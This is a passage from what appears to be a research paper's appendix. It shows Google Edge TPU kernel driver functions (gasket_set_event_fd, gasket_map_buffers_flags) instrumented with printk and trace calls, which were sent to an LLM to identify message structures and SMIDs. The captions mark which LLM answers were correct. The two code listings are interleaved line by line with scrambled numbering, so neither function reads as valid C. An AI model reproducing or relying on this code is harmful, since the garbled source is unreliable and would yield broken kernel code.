Listing 59: Google Edge TPU: Shows an example of a valid result from LLM analysis of KD source code. Here, the LLM correctly identifies message structures and SMIDs in the function and provides reasoning for the same.
1 //
Function source code sent to LLM for analysis. Associate an eventfd with an interrupt. */ 3 static int gasket_set_event_fd(struct gasket_dev ↩→ *gasket_dev, 4 struct gasket_interrupt_eventfd __user *argp) 5{ 6 struct gasket_interrupt_eventfd die; 2 /*
1 //
Function source code sent to LLM for analysis. int gasket_map_buffers_flags(struct gasket_dev ↩→ *gasket_dev, 3 struct gasket_page_table_ioctl_flags __user ↩→ *argp){ 4 struct gasket_page_table_ioctl_flags ibuf; 2 static
7 8 printk(KERN_INFO
"USER_COPY: About to call copy_from_user from function %s at %s:%d\n", __func__, __FILE__, __LINE__); 9 printk(KERN_INFO "USER_COPY_CONTEXT: Process PID=%d, ↩→ COMM=%s\n", current->pid, current->comm); 10 if (copy_from_user(&die, argp, sizeof(struct ↩→ gasket_interrupt_eventfd))) 11 return -EFAULT;
5 6 printk(KERN_INFO
"USER_COPY: About to call copy_from_user ↩→ from function %s at %s:%d\n", __func__, __FILE__, ↩→ __LINE__); 7 printk(KERN_INFO "USER_COPY_CONTEXT: Process PID=%d, ↩→ COMM=%s\n", current->pid, current->comm); 8 if (copy_from_user(&ibuf, argp, sizeof(struct ↩→ gasket_page_table_ioctl_flags))) 9 return -EFAULT;
↩→ ↩→
12 13 trace_gasket_ioctl_eventfd_data(die.interrupt,
10
↩→ die.event_fd); 11 trace_gasket_ioctl_page_table_flags_data(ibuf.base.page_table_index, 14 12 ibuf.base.size, 13 ibuf.base.host_address,
15 return
14 ibuf.base.device_address,
16
15 ibuf.flags); 17 }
16 17 return
gasket_interrupt_set_eventfd( gasket_dev->interrupt_data, die.interrupt, ↩→ die.event_fd);
gasket_map_buffers_common(gasket_dev, &ibuf);
18 }
Listing 62: Google Edge TPU: Shows function source code sent to LLM for analysis. Here, the LLM incorrectly identifies the function as handling message structures and SMIDs, when in reality, it is primarily focused on setting up event handling.
Listing 60: Google Edge TPU: Shows function source code sent to LLM for analysis. Here, the LLM correctly identifies the function as handling message structures and SMIDs.
39